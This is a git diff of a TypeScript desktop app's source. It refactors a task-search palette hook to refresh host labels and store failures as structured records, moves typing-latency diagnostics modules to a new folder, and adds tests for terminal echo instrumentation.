+++ b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-task-search.test.tsx
@@ -47,8 +47,14 @@ it('publishes a fast source while a second is pending, then discards both after
     complete = resolve
   })
   vi.mocked(createCmdJTaskSearchRequests).mockReturnValue([
-    { id: 'fast', provider: 'jira', hostLabel: 'Local', run: async () => [jiraTaskResult] },
-    { id: 'slow', provider: 'jira', hostLabel: 'Remote', run: () => slow }
+    {
+      id: 'fast',
+      provider: 'jira',
+      hostId: 'local',
+      hostLabel: 'Local',
+      run: async () => [jiraTaskResult]
+    },
+    { id: 'slow', provider: 'jira', hostId: 'ssh:remote', hostLabel: 'Remote', run: () => slow }
   ])
   const { result, rerender } = renderHook(useWorktreeJumpPaletteTaskSearch, { initialProps: input })
   await act(async () => vi.advanceTimersByTimeAsync(600))
@@ -60,6 +66,35 @@ it('publishes a fast source while a second is pending, then discards both after
   expect(result.current.taskItems).toEqual([])
 })
 
+it('refreshes host labels without rerunning completed or pending searches', async () => {
+  let rejectPending: (error: Error) => void = () => {}
+  const pending = new Promise<(typeof jiraTaskResult)[]>((_, reject) => {
+    rejectPending = reject
+  })
+  const run = async () => [jiraTaskResult]
+  const runPending = () => pending
+  vi.mocked(createCmdJTaskSearchRequests).mockReturnValue([
+    { id: 'ok', provider: 'jira', hostId: 'local', hostLabel: 'Before', run },
+    { id: 'failed', provider: 'jira', hostId: 'local', hostLabel: 'Before', run: runPending }
+  ])
+  const host = {
+    id: 'local' as const,
+    label: 'Before',
+    detail: '',
+    kind: 'local' as const,
+    health: 'local' as const,
+    presence: 'local' as const
+  }
+  const { result, rerender } = renderHook(useWorktreeJumpPaletteTaskSearch, {
+    initialProps: { ...input, hostOptions: [host] }
+  })
+  await act(async () => vi.advanceTimersByTimeAsync(600))
+  rerender({ ...input, hostOptions: [{ ...host, label: 'After' }] })
+  await act(async () => rejectPending(new Error('unavailable')))
+  expect(result.current.taskItems[0].result.hostLabel).toBe('After')
+  expect(result.current.taskSearchFailures).toEqual(['jira · After'])
+})
+
 it('filters to open after pending edits apply: a pending reopen shows and a failure removes it', async () => {
   const repo: Repo = { id: 'repo', path: '/repo', displayName: 'Repo', badgeColor: '', addedAt: 1 }
   const issue = (number: number, state: GitHubWorkItem['state']): GitHubWorkItem => ({
@@ -87,6 +122,7 @@ it('filters to open after pending edits apply: a pending reopen shows and a fail
     {
       id: 'github',
       provider: 'github',
+      hostId: 'local',
       hostLabel: 'Local',
       run: async () =>
         [closed, open].map((item) =>
diff --git a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-task-search.ts b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-task-search.ts
index 5946b481970..25e5f23d827 100644
--- a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-task-search.ts
+++ b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-task-search.ts
@@ -1,3 +1,4 @@
+import { useTranslate } from '@/i18n/use-translate'
 import { useGitHubTaskItems } from '@/hooks/useGitHubTaskItems'
 import { useEffect, useEffectEvent, useMemo, useState } from 'react'
 import { useAppStore } from '@/store/index'
@@ -13,7 +14,8 @@ import {
 import type { WorktreeJumpPaletteStoreState } from './use-worktree-jump-palette-store-state'
 import type { WorktreeJumpPaletteLocalState } from './use-worktree-jump-palette-local-state'
 import type { WorktreeJumpPaletteFilter } from './use-worktree-jump-palette-filter'
-import { getRepoExecutionHostId } from '../../../../shared/execution-host'
+import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host'
+import { translateHostDisplayLabel } from '../sidebar/execution-host-label'
 const TASK_SEARCH_DEBOUNCE_MS = 600
 
 type Input = Pick<WorktreeJumpPaletteStoreState, 'visible' | 'repos' | 'settings'> &
@@ -24,7 +26,7 @@ type SearchSnapshot = {
   session: object
   results: CmdJTaskSearchResult[]
   loading: boolean
-  failures: string[]
+  failures: { provider: string; hostId: ExecutionHostId; hostLabel: string }[]
 }
 const EMPTY_RESULTS: CmdJTaskSearchResult[] = []
 const EMPTY_FAILURES: string[] = []
@@ -39,6 +41,7 @@ export function useWorktreeJumpPaletteTaskSearch({
   filterModel,
   defaultHostId
 }: Input) {
+  const t = useTranslate()
   const connectionScope = useAppStore(
     useShallow((state) => ({
       jira: state.jiraConnectionRevisions,
@@ -49,8 +52,8 @@ export function useWorktreeJumpPaletteTaskSearch({
   const [snapshot, setSnapshot] = useState<SearchSnapshot | null>(null)
   const [retryNonce, setRetryNonce] = useState(0)
   const hostLabels = useMemo(
-    () => new Map(hostOptions.map((host) => [host.id, host.label])),
-    [hostOptions]
+    () => new Map(hostOptions.map((host) => [host.id, translateHostDisplayLabel(host, t)])),
+    [hostOptions, t]
   )
   const session = useMemo(() => ({ visible }), [visible])
   const effectiveFilter = {
@@ -96,7 +99,7 @@ export function useWorktreeJumpPaletteTaskSearch({
     }
     const controller = new AbortController()
     const resultsByRequest = new Map<string, CmdJTaskSearchResult[]>()
-    const failures: string[] = []
+    const failures: SearchSnapshot['failures'] = []
     const requests = buildRequests(controller.signal)
     let loadingVisible = false
     let pending = requests.length
@@ -131,7 +134,11 @@ export function useWorktreeJumpPaletteTaskSearch({
           resultsByRequest.set(request.id, results)
         } catch {
           if (!controller.signal.aborted) {
-            failures.push(`${request.provider} · ${request.hostLabel}`)
+            failures.push({
+              provider: request.provider,
+              hostId: request.hostId,
+              hostLabel: request.hostLabel
+            })
           }
         } finally {
           pending -= 1
@@ -177,14 +184,30 @@ export function useWorktreeJumpPaletteTaskSearch({
               raw.hostLabel
             )
           : raw
-      return [{ id: result.id, type: 'task' as const, result }]
+      return [
+        {
+          id: result.id,
+          type: 'task' as const,
+          result: {
+            ...result,
+            hostLabel: hostLabels.get(result.sourceContext.hostId) ?? result.hostLabel
+          }
+        }
+      ]
     })
-  }, [current?.results, projected])
+  }, [current?.results, projected, hostLabels])
+  const taskSearchFailures = useMemo(
+    () =>
+      current?.failures.map(
+        ({ provider, hostId, hostLabel }) => `${provider} · ${hostLabels.get(hostId) ?? hostLabel}`
+      ) ?? EMPTY_FAILURES,
+    [current?.failures, hostLabels]
+  )
   const retryTaskSearch = (): void => setRetryNonce((value) => value + 1)
   return {
     taskItems,
     taskSearchLoading: current?.loading ?? false,
-    taskSearchFailures: current?.failures ?? EMPTY_FAILURES,
+    taskSearchFailures,
     retryTaskSearch
   }
 }
diff --git a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-task-url.ts b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-task-url.ts
index ea8cb1c2b14..f23f1d0e238 100644
--- a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-task-url.ts
+++ b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-task-url.ts
@@ -10,7 +10,7 @@ import { useAppStore } from '@/store/index'
 import { getNewWorkspaceDialogEligibleRepos } from '../../../../shared/new-workspace-dialog-repo'
 import { resolveComposerActiveRepoId } from '@/lib/workspace/creation/new-workspace-composer-repo'
 import { resolveWorkspaceCreationTarget } from '@/lib/workspace/creation/project-host-workspace-target'
-import { lookupCmdJGitHubUrlWorkItem } from '@/lib/cmd-j-github-url-lookup'
+import { lookupCmdJGitHubUrlWorkItem } from '@/lib/workspace/search/palette/cmd-j-github-url-lookup'
 import { lookupLinearIssueUrl } from '@/lib/work-items/linear/linear-issue-url-lookup'
 import {
   withResolvedCmdJGitHubPreview,
@@ -19,8 +19,11 @@ import {
 } from '@/lib/workspace/search/worktrees/worktree-palette-task-url-match'
 import type { GitHubWorkItem } from '../../../../shared/github/work-item-types'
 import type { LinearIssue } from '../../../../shared/linear/issue-types'
-import type { TaskSourceContext } from '../../../../shared/work-items/task-source-context'
-import { buildTaskSourceContextFromRepo } from '../../../../shared/work-items/task-source-context'
+
+import {
+  type TaskSourceContext,
+  buildTaskSourceContextFromRepo
+} from '../../../../shared/work-items/task-source-context'
 import type { WorktreePaletteRequestGuard } from '@/lib/workspace/search/worktrees/worktree-palette-create-action'
 
 export type CmdJLinearIssuePreview = {
diff --git a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-worktrees.ts b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-worktrees.ts
index 18a031aa237..3a072bd37bc 100644
--- a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-worktrees.ts
+++ b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-worktrees.ts
@@ -4,8 +4,8 @@ import { filterWorkspaceRows } from '../../../../shared/workspace-view/workspace
 import { buildDesktopWorkspaceRowFactReader } from '@/components/sidebar/worktree-list/listing/desktop-workspace-row-facts'
 import { sortWorktreesSmart } from '../../../../shared/sidebar-list/smart-sort'
 import { buildWorktreeChecksReviewIndex } from '@/components/cmd-j/worktree-checks-review-index'
-import { getLiveAgentStatusByWorktreeId } from '@/lib/worktree-activity-state'
-import { orderEmptyQueryWorktrees } from '@/lib/order-empty-query-worktrees'
+import { getLiveAgentStatusByWorktreeId } from '@/lib/workspace/activity/worktree-activity-state'
+import { orderEmptyQueryWorktrees } from '@/lib/workspace/search/palette/order-empty-query-worktrees'
 import {
   getWorktreePaletteSearchScope,
   searchWorktreeDocuments
diff --git a/src/renderer/src/components/worktree-jump/worktree-jump-palette-model.ts b/src/renderer/src/components/worktree-jump/worktree-jump-palette-model.ts
index 0c95dae82b0..27a39332fa8 100644
--- a/src/renderer/src/components/worktree-jump/worktree-jump-palette-model.ts
+++ b/src/renderer/src/components/worktree-jump/worktree-jump-palette-model.ts
@@ -11,7 +11,7 @@ import type {
   CmdJProjectSearchResult,
   CmdJRankedProjectSearchResult
 } from '@/components/cmd-j/palette-project-results'
-import type { RecentWorkspaceTabRow } from '@/lib/recent-workspace-tab-rows'
+import type { RecentWorkspaceTabRow } from '@/lib/workspace/search/palette/recent-workspace-tab-rows'
 import type { Worktree } from '../../../../shared/worktree/types'
 import { CREATE_WORKSPACE_QUICK_ACTION_ID } from '@/components/cmd-j/quick-actions'
 import type { CREATE_WORKTREE_ITEM_ID } from '@/lib/workspace/search/worktrees/worktree-palette-create-action'
diff --git a/src/renderer/src/components/worktree-jump/worktree-jump-palette-open-tab-items.ts b/src/renderer/src/components/worktree-jump/worktree-jump-palette-open-tab-items.ts
index 0340fee5632..f30423bd42f 100644
--- a/src/renderer/src/components/worktree-jump/worktree-jump-palette-open-tab-items.ts
+++ b/src/renderer/src/components/worktree-jump/worktree-jump-palette-open-tab-items.ts
@@ -1,4 +1,4 @@
-import { comparePaletteRankedItems } from '@/lib/cmd-j-section-leadership'
+import { comparePaletteRankedItems } from '@/lib/workspace/search/palette/cmd-j-section-leadership'
 import type { BrowserPaletteSearchResult } from '@/lib/browser/palette/browser-palette-search'
 import type { SimulatorPaletteSearchResult } from '@/lib/simulator/search/simulator-palette-search-types'
 import type { WorkspaceTabPaletteSearchResult } from '@/lib/workspace/search/tabs/workspace-tab-palette-results'
diff --git a/src/renderer/src/components/worktree-jump/worktree-jump-palette-recent-inclusion.ts b/src/renderer/src/components/worktree-jump/worktree-jump-palette-recent-inclusion.ts
index 6edee19b703..0b20d97d1d7 100644
--- a/src/renderer/src/components/worktree-jump/worktree-jump-palette-recent-inclusion.ts
+++ b/src/renderer/src/components/worktree-jump/worktree-jump-palette-recent-inclusion.ts
@@ -3,7 +3,7 @@ import {
   resolveTerminalTabAttentionBadge,
   terminalTabHasUnreadActivity
 } from '@/components/tab-bar/terminal-tab-activity-status'
-import { resolveRecentWorkspaceTabStatus } from '@/lib/recent-workspace-tab-rows'
+import { resolveRecentWorkspaceTabStatus } from '@/lib/workspace/search/palette/recent-workspace-tab-rows'
 import type { TabPaneInputSources } from '../../../../shared/sidebar-list/smart-attention'
 import type { OpenTabPaletteItem, OpenTabRecentRow } from './worktree-jump-palette-model'
 import type { Worktree } from '../../../../shared/worktree/types'
diff --git a/src/renderer/src/components/worktree-jump/worktree-jump-palette-worktree-row.tsx b/src/renderer/src/components/worktree-jump/worktree-jump-palette-worktree-row.tsx
index 34920b77fb5..5c40af3916e 100644
--- a/src/renderer/src/components/worktree-jump/worktree-jump-palette-worktree-row.tsx
+++ b/src/renderer/src/components/worktree-jump/worktree-jump-palette-worktree-row.tsx
@@ -7,7 +7,7 @@ import { getPaletteHostBadge } from '@/components/cmd-j/palette-host-badge'
 import {
   resolveWorktreeBranchLabel,
   resolveWorktreeDisplayName
-} from '@/lib/worktree-default-display-name'
+} from '@/lib/workspace/display/worktree-default-display-name'
 import { cn } from '@/lib/class-names'
 import { useTranslate } from '@/i18n/use-translate'
 import {
diff --git a/src/renderer/src/components/wsl-move/WslMoveDialog.tsx b/src/renderer/src/components/wsl-move/WslMoveDialog.tsx
index bb2148d5d00..7589953eb87 100644
--- a/src/renderer/src/components/wsl-move/WslMoveDialog.tsx
+++ b/src/renderer/src/components/wsl-move/WslMoveDialog.tsx
@@ -1,7 +1,7 @@
 import React, { useEffect } from 'react'
 import { useShallow } from 'zustand/react/shallow'
 import { useTranslate } from '@/i18n/use-translate'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import {
   Dialog,
   DialogContent,
@@ -10,10 +10,6 @@ import {
   DialogTitle
 } from '@/components/ui/dialog'
 import { LoadingSpinner } from '@/components/LoadingSpinner'
-import type {
-  WslMoveBlocker,
-  WslMoveRowRef
-} from '../../../../shared/wsl-move/wsl-move-driver-types'
 import {
   cancelWslMove,
   wslMoveDialogLocked,
@@ -27,14 +23,9 @@ import {
 import { collectWslMoveSleptPaneBindings } from './wsl-move-slept-pane-bindings'
 import { followWslMoveOrchestratorStatus } from './wsl-move-orchestrator-status'
 import { findWorktreeById } from '@/store/github/refresh/worktree-refresh'
-import { getWslDistroFromPath } from '@/lib/local-preflight-context'
-import {
-  wslMoveBlockerProjects,
-  wslMoveCounts,
-  wslMoveProjectRows,
-  type WslMoveCatalog
-} from './wsl-move-scope-rows'
-import type { WslMoveBlockerView } from './WslMoveBlockerList'
+import { getWslDistroFromPath } from '@/runtime/hosts/preflight/local-preflight-context'
+import { wslMoveBlockerProjects, wslMoveCounts, wslMoveProjectRows } from './wsl-move-scope-rows'
+import type { WslMoveCatalog } from './wsl-move-scope-rows'
 import {
   selectFolderWorkspaces,
   selectWorktreesByRepo
@@ -48,6 +39,11 @@ import { useWslMoveQuitGuard } from './use-wsl-move-quit-guard'
 import { WslMovePreviewBody, wslMoveNotMovingLines } from './WslMovePreviewBody'
 import { WslMoveProgressBody } from './WslMoveProgressBody'
 import { WslMoveResultBody, wslMoveResultTitle } from './WslMoveResultBody'
+import type {
+  WslMoveBlocker,
+  WslMoveRowRef
+} from '../../../../shared/wsl-move/wsl-move-driver-types'
+import type { WslMoveBlockerView } from './WslMoveBlockerList'
 
 function useMoveCatalog(): WslMoveCatalog {
   return useAppStore(
diff --git a/src/renderer/src/components/wsl-move/use-wsl-move-quit-guard.test.ts b/src/renderer/src/components/wsl-move/use-wsl-move-quit-guard.test.ts
deleted file mode 100644
index 6e42b0cc9fc..00000000000
--- a/src/renderer/src/components/wsl-move/use-wsl-move-quit-guard.test.ts
+++ /dev/null
@@ -1,29 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-
-const restart = vi.hoisted(() => ({ intentional: false }))
-vi.mock('@/app-shell/updates/updater-beforeunload', () => ({
-  isIntentionalAppRestartInProgress: () => restart.intentional
-}))
-
-import { confirmQuitDuringWslMove } from './use-wsl-move-quit-guard'
-
-describe('quitting during a WSL move', () => {
-  it('quits without asking when no move runs, or when main cannot say', async () => {
-    const confirm = vi.fn(async () => false)
-    expect(await confirmQuitDuringWslMove(async () => false, confirm)).toBe(true)
-    expect(
-      await confirmQuitDuringWslMove(async () => {
-        throw new Error('ipc gone')
-      }, confirm)
-    ).toBe(true)
-    expect(confirm).not.toHaveBeenCalled()
-  })
-
-  it('never asks during an intentional restart', async () => {
-    restart.intentional = true
-    const confirm = vi.fn(async () => false)
-    expect(await confirmQuitDuringWslMove(async () => true, confirm)).toBe(true)
-    expect(confirm).not.toHaveBeenCalled()
-    restart.intentional = false
-  })
-})
diff --git a/src/renderer/src/diagnostics/memory/renderer-memory-profile.test.ts b/src/renderer/src/diagnostics/memory/renderer-memory-profile.test.ts
deleted file mode 100644
index c28cb51ef8e..00000000000
--- a/src/renderer/src/diagnostics/memory/renderer-memory-profile.test.ts
+++ /dev/null
@@ -1,32 +0,0 @@
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import {
-  collectRendererMemoryProfileCounts,
-  registerRendererMemoryProfileContributor
-} from './renderer-memory-profile'
-
-const unregisters: (() => void)[] = []
-
-function register(name: string, contributor: () => Record<string, number>): void {
-  unregisters.push(registerRendererMemoryProfileContributor(name, contributor))
-}
-
-afterEach(() => {
-  while (unregisters.length > 0) {
-    unregisters.pop()?.()
-  }
-  vi.restoreAllMocks()
-})
-
-describe('collectRendererMemoryProfileCounts', () => {
-  it('contains a throwing contributor instead of failing collection', () => {
-    register('broken', () => {
-      throw new Error('boom')
-    })
-    register('store', () => ({ worktrees: 3 }))
-
-    expect(collectRendererMemoryProfileCounts()).toEqual({
-      'broken.error': 1,
-      'store.worktrees': 3
-    })
-  })
-})
diff --git a/src/renderer/src/lib/typing-latency/census-probe.ts b/src/renderer/src/diagnostics/typing-latency/census-probe.ts
similarity index 94%
rename from src/renderer/src/lib/typing-latency/census-probe.ts
rename to src/renderer/src/diagnostics/typing-latency/census-probe.ts
index 15c32f1096b..2cd28d5f4a9 100644
--- a/src/renderer/src/lib/typing-latency/census-probe.ts
+++ b/src/renderer/src/diagnostics/typing-latency/census-probe.ts
@@ -1,6 +1,7 @@
 /** Keep live DOM/store census reads outside the typing probe’s sampling loop: focused pane/screen, mounted rows and listener counts. */
-import { useAppStore } from '@/store'
-import { listProbePanes, paneRootElement, type ProbePane } from './echo-instrumentation'
+import { useAppStore } from '@/store/index'
+import './echo-instrumentation'
+import { listProbePanes, paneRootElement, type ProbePane } from './pane-target'
 import type { FocusedPaneCensus } from './diagnostic-summary'
 
 type ProbeStoreState = {
@@ -61,4 +62,4 @@ export function countMountedAgentRows(): number | null {
   }
 }
 
-export { readStoreListenerCount } from '@/store/diagnostics/store-listener-census'
+import '@/store/diagnostics/store-listener-census'
diff --git a/src/renderer/src/lib/typing-latency/diagnostic-report.ts b/src/renderer/src/diagnostics/typing-latency/diagnostic-report.ts
similarity index 94%
rename from src/renderer/src/lib/typing-latency/diagnostic-report.ts
rename to src/renderer/src/diagnostics/typing-latency/diagnostic-report.ts
index b09624b7c6b..180f8c638a2 100644
--- a/src/renderer/src/lib/typing-latency/diagnostic-report.ts
+++ b/src/renderer/src/diagnostics/typing-latency/diagnostic-report.ts
@@ -1,9 +1,5 @@
-import {
-  countMountedAgentRows,
-  readFocusedPaneCensus,
-  readProbeStoreState,
-  readStoreListenerCount
-} from './census-probe'
+import { countMountedAgentRows, readFocusedPaneCensus, readProbeStoreState } from './census-probe'
+import { readStoreListenerCount } from '../../store/diagnostics/store-listener-census'
 import {
   summarizeLatencySamples,
   summarizeTypingScaleCensus,
@@ -11,7 +7,9 @@ import {
   type LatencyPercentiles,
   type TypingScaleCensus
 } from './diagnostic-summary'
-import { listProbePanes, type InstrumentedPane } from './echo-instrumentation'
+import './echo-instrumentation'
+import type { InstrumentedPane } from './echo-instrumentation'
+import { listProbePanes } from './pane-target'
 import {
   emptyInputSourceBreakdown,
   type InputSourceBreakdown,
diff --git a/src/renderer/src/lib/typing-latency/diagnostic-summary.ts b/src/renderer/src/diagnostics/typing-latency/diagnostic-summary.ts
similarity index 100%
rename from src/renderer/src/lib/typing-latency/diagnostic-summary.ts
rename to src/renderer/src/diagnostics/typing-latency/diagnostic-summary.ts
diff --git a/src/renderer/src/lib/typing-latency/diagnostic.ts b/src/renderer/src/diagnostics/typing-latency/diagnostic.ts
similarity index 96%
rename from src/renderer/src/lib/typing-latency/diagnostic.ts
rename to src/renderer/src/diagnostics/typing-latency/diagnostic.ts
index 799085db612..e0eef0b0237 100644
--- a/src/renderer/src/lib/typing-latency/diagnostic.ts
+++ b/src/renderer/src/diagnostics/typing-latency/diagnostic.ts
@@ -2,17 +2,15 @@
 import {
   detachPaneEcho,
   discardUndispatchedKeystroke,
-  drainTimedOutEchoCandidates,
-  findPaneOwningFocus,
-  findPaneOwningNode,
   instrumentPaneEcho,
-  listProbePanes,
   noteEchoOutputArrival,
   recordKeystroke,
-  type EchoObservation,
   type InstrumentedPane
 } from './echo-instrumentation'
-import { setTerminalOutputArrivalObserver } from '@/lib/pane-manager/terminal-output-arrival-observer'
+import { drainTimedOutEchoCandidates } from './echo-candidate-timeout'
+import { findPaneOwningFocus, findPaneOwningNode, listProbePanes } from './pane-target'
+import type { EchoObservation } from './echo-observation'
+import { setTerminalOutputArrivalObserver } from '@/lib/pane-manager/terminal-output/terminal-output-arrival-observer'
 import { observeRendererLongTasks } from './renderer-long-tasks'
 import {
   buildTypingLatencyReport,
@@ -28,8 +26,6 @@ import {
   TYPING_LATENCY_SAMPLE_LIMIT
 } from './sample-window'
 
-export type { TypingLatencyReport } from './diagnostic-report'
-
 let active: ProbeState | null = null
 let lastState: ProbeState | null = null
 let cachedAppVersion: string | null = null
diff --git a/src/renderer/src/lib/typing-latency/echo-candidate-timeout.ts b/src/renderer/src/diagnostics/typing-latency/echo-candidate-timeout.ts
similarity index 100%
rename from src/renderer/src/lib/typing-latency/echo-candidate-timeout.ts
rename to src/renderer/src/diagnostics/typing-latency/echo-candidate-timeout.ts
diff --git a/src/renderer/src/diagnostics/typing-latency/echo-instrumentation.test.ts b/src/renderer/src/diagnostics/typing-latency/echo-instrumentation.test.ts
new file mode 100644
index 00000000000..235b1fce700
--- /dev/null
+++ b/src/renderer/src/diagnostics/typing-latency/echo-instrumentation.test.ts
@@ -0,0 +1,204 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { instrumentPaneEcho, recordKeystroke, type InstrumentedPane } from './echo-instrumentation'
+import type { EchoObservation } from './echo-observation'
+
+type FakeTerminal = {
+  write: (data: string | Uint8Array, callback?: () => void) => void
+  onData: (listener: (data: string) => void) => { dispose: () => void }
+  onWriteParsed: (listener: () => void) => { dispose: () => void }
+  onRender: (listener: () => void) => { dispose: () => void }
+}
+
+function fakeTerminal(): {
+  terminal: FakeTerminal
+  emitData: (data?: string) => void
+  emitParsed: () => void
+  emitRender: () => void
+  writtenPayloads: (string | Uint8Array)[]
+} {
+  const dataListeners = new Set<(data: string) => void>()
+  const parsedListeners = new Set<() => void>()
+  const renderListeners = new Set<() => void>()
+  const writtenPayloads: (string | Uint8Array)[] = []
+  const listen = <T>(listeners: Set<T>, listener: T): { dispose: () => void } => {
+    listeners.add(listener)
+    return {
+      dispose: () => {
+        listeners.delete(listener)
+      }
+    }
+  }
+  return {
+    terminal: {
+      write: (data) => writtenPayloads.push(data),
+      onData: (listener) => listen(dataListeners, listener),
+      onWriteParsed: (listener) => listen(parsedListeners, listener),
+      onRender: (listener) => listen(renderListeners, listener)
+    },
+    emitData: (data = 'x') => dataListeners.forEach((listener) => listener(data)),
+    emitParsed: () => parsedListeners.forEach((listener) => listener()),
+    emitRender: () => renderListeners.forEach((listener) => listener()),
+    writtenPayloads
+  }
+}
+
+function recordAndDispatch(
+  entry: InstrumentedPane,
+  fake: ReturnType<typeof fakeTerminal>,
+  source: 'direct' | 'ime' = 'direct',
+  recordedAt: number = performance.now()
+): void {
+  recordKeystroke(entry, recordedAt, source)
+  fake.emitData()
+}
+
+afterEach(() => {
+  vi.restoreAllMocks()
+})
+
+describe('instrumentPaneEcho', () => {
+  it('does not credit output that arrived before the input dispatched', () => {
+    const fake = fakeTerminal()
+    const observations: EchoObservation[] = []
+    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
+      observations.push(value)
+    )
+
+    recordKeystroke(entry, performance.now(), 'direct')
+    fake.terminal.write('unrelated')
+    fake.emitParsed()
+    fake.emitRender()
+    expect(observations).toEqual([])
+
+    fake.emitData()
+    fake.terminal.write('echo')
+    fake.emitParsed()
+    fake.emitRender()
+    expect(observations).toHaveLength(1)
+  })
+
+  it('emits one ambiguous burst when overlapping inputs receive separate outputs', () => {
+    const fake = fakeTerminal()
+    const observations: EchoObservation[] = []
+    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
+      observations.push(value)
+    )
+
+    recordAndDispatch(entry, fake, 'direct')
+    recordAndDispatch(entry, fake, 'direct')
+    fake.terminal.write('A')
+    fake.emitParsed()
+    fake.emitRender()
+    fake.terminal.write('B')
+    fake.emitParsed()
+    fake.emitRender()
+
+    expect(observations).toHaveLength(1)
+    expect(observations[0]).toMatchObject({
+      attribution: 'ambiguous-burst',
+      reason: 'overlapping-inputs',
+      inputCount: 2,
+      sourceCounts: { direct: 2, ime: 0 },
+      outputBatchBytes: 1,
+      outputBatchWrites: 1
+    })
+  })
+
+  it('keeps a batch ambiguous when another input arrives before parsing finishes', () => {
+    const fake = fakeTerminal()
+    const observations: EchoObservation[] = []
+    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
+      observations.push(value)
+    )
+
+    recordAndDispatch(entry, fake)
+    fake.terminal.write('x'.repeat(90))
+    recordAndDispatch(entry, fake)
+    fake.terminal.write('x'.repeat(30))
+    fake.emitParsed()
+    fake.emitRender()
+
+    expect(observations).toHaveLength(1)
+    expect(observations[0]).toMatchObject({
+      attribution: 'ambiguous-burst',
+      inputCount: 2,
+      outputBatchBytes: 120,
+      outputBatchWrites: 2
+    })
+  })
+
+  it('keeps parsed batches separate when two parses precede one render', () => {
+    const fake = fakeTerminal()
+    const observations: EchoObservation[] = []
+    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
+      observations.push(value)
+    )
+
+    recordAndDispatch(entry, fake)
+    fake.terminal.write('a')
+    fake.emitParsed()
+    recordAndDispatch(entry, fake)
+    fake.terminal.write('b')
+    fake.emitParsed()
+    fake.emitRender()
+
+    expect(observations.map((value) => value.attribution)).toEqual(['single-input', 'single-input'])
+  })
+
+  it('marks the first late output after a timeout as ambiguous, then restores confidence', () => {
+    const fake = fakeTerminal()
+    const observations: EchoObservation[] = []
+    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
+      observations.push(value)
+    )
+    const now = vi.spyOn(performance, 'now')
+
+    recordKeystroke(entry, 0, 'direct')
+    now.mockReturnValueOnce(1)
+    fake.emitData('A')
+    expect(recordKeystroke(entry, 5_000, 'direct').unmatched).toBe(1)
+    now.mockReturnValueOnce(5_001)
+    fake.emitData('B')
+    fake.terminal.write('late A')
+    now.mockReturnValueOnce(5_010)
+    fake.emitParsed()
+    now.mockReturnValueOnce(5_015)
+    fake.emitRender()
+
+    recordKeystroke(entry, 5_020, 'ime')
+    now.mockReturnValueOnce(5_021)
+    fake.emitData('한')
+    fake.terminal.write('한')
+    now.mockReturnValueOnce(5_030)
+    fake.emitParsed()
+    now.mockReturnValueOnce(5_035)
+    fake.emitRender()
+
+    expect(observations[0]).toMatchObject({
+      attribution: 'ambiguous-burst',
+      reason: 'attribution-gap',
+      inputCount: 1
+    })
+    expect(observations[1]).toMatchObject({
+      attribution: 'single-input',
+      source: 'ime'
+    })
+  })
+
+  it('holds an unparsed input across a render instead of discarding it', () => {
+    const fake = fakeTerminal()
+    const observations: EchoObservation[] = []
+    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
+      observations.push(value)
+    )
+
+    recordAndDispatch(entry, fake)
+    fake.terminal.write('echo')
+    fake.emitRender()
+    expect(observations).toHaveLength(0)
+
+    fake.emitParsed()
+    fake.emitRender()
+    expect(observations).toHaveLength(1)
+  })
+})
diff --git a/src/renderer/src/lib/typing-latency/echo-instrumentation.ts b/src/renderer/src/diagnostics/typing-latency/echo-instrumentation.ts
similarity index 91%
rename from src/renderer/src/lib/typing-latency/echo-instrumentation.ts
rename to src/renderer/src/diagnostics/typing-latency/echo-instrumentation.ts
index ccf16c84dd5..e49babb58ad 100644
--- a/src/renderer/src/lib/typing-latency/echo-instrumentation.ts
+++ b/src/renderer/src/diagnostics/typing-latency/echo-instrumentation.ts
@@ -14,44 +14,26 @@ import {
   createEchoObservation,
   type EchoBatch,
   type EchoCandidate,
-  type EchoObservation as EchoObservationValue,
+  type EchoObservation,
   type RecordedKeystroke
 } from './echo-observation'
 import type { TypingInputSource } from './input-events'
 import type { ProbePane } from './pane-target'
 
-export type {
-  AmbiguousEchoBurst,
-  EchoObservation,
-  EchoSourceCounts,
-  ExactEchoSample,
-  RecordedKeystroke
-} from './echo-observation'
-export {
-  findPaneOwningFocus,
-  findPaneOwningNode,
-  listProbePanes,
-  paneRootElement
-} from './pane-target'
-export type { ProbePane } from './pane-target'
-export { drainTimedOutEchoCandidates }
+import './pane-target'
 
 type Disposable = { dispose: () => void }
 
-export type KeystrokeSource = TypingInputSource
-
 export type PreventedKeystrokeDiscard = 'pending' | 'counted-unmatched' | null
 
-type PendingKeystroke = EchoCandidate
-
 export type InstrumentedPane = {
   pane: ProbePane | null
-  undispatched: PendingKeystroke[]
-  nextDispatch: PendingKeystroke | null
-  deferredNextDispatch: PendingKeystroke | null
-  ignoredDispatches: PendingKeystroke[]
+  undispatched: EchoCandidate[]
+  nextDispatch: EchoCandidate | null
+  deferredNextDispatch: EchoCandidate | null
+  ignoredDispatches: EchoCandidate[]
   ignoredDispatchOverflowedAt: number | null
-  awaitingEcho: PendingKeystroke[]
+  awaitingEcho: EchoCandidate[]
   attributionGap: boolean
   parsingBatch: EchoBatch | null
   parsedBatches: EchoBatch[]
@@ -64,7 +46,7 @@ export type InstrumentedPane = {
 export function recordKeystroke(
   entry: InstrumentedPane,
   now: number,
-  source: KeystrokeSource,
+  source: TypingInputSource,
   eventAt: number | null = null
 ): RecordedKeystroke {
   const dropped = drainTimedOutEchoCandidates(entry, now)
